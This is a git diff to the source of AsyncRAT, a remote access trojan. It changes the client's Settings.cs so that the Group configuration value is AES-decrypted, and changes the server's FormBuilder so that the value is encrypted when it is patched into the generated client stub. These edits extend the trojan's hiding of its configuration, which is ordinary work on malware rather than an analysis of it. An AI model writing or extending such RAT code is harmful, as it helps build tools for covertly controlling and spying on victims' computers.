diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 4bd633f8..cac0cb74 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -46,7 +46,7 @@ public static class Settings public static Aes256 aes256; public static string Pastebin = "%Pastebin%"; public static string BDOS = "%BDOS%"; - public static string Hwid = ""; + public static string Hwid = null; public static string Delay = "%Delay%"; public static string Group = "%Group%"; #endif @@ -69,6 +69,7 @@ public static bool InitializeSettings() Pastebin = aes256.Decrypt(Pastebin); Anti = aes256.Decrypt(Anti); BDOS = aes256.Decrypt(BDOS); + Group = aes256.Decrypt(Group); Hwid = HwidGen.HWID(); Serversignature = aes256.Decrypt(Serversignature); ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs index e30eeaf2..03f10ab8 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs @@ -450,7 +450,7 @@ private void WriteSettings(ModuleDefMD asmDef, string AsmName) method.Body.Instructions[i].Operand = numDelay.Value.ToString(); if (method.Body.Instructions[i].Operand.ToString() == "%Group%") - method.Body.Instructions[i].Operand = txtGroup.Text; + method.Body.Instructions[i].Operand = aes.Encrypt(txtGroup.Text); } } }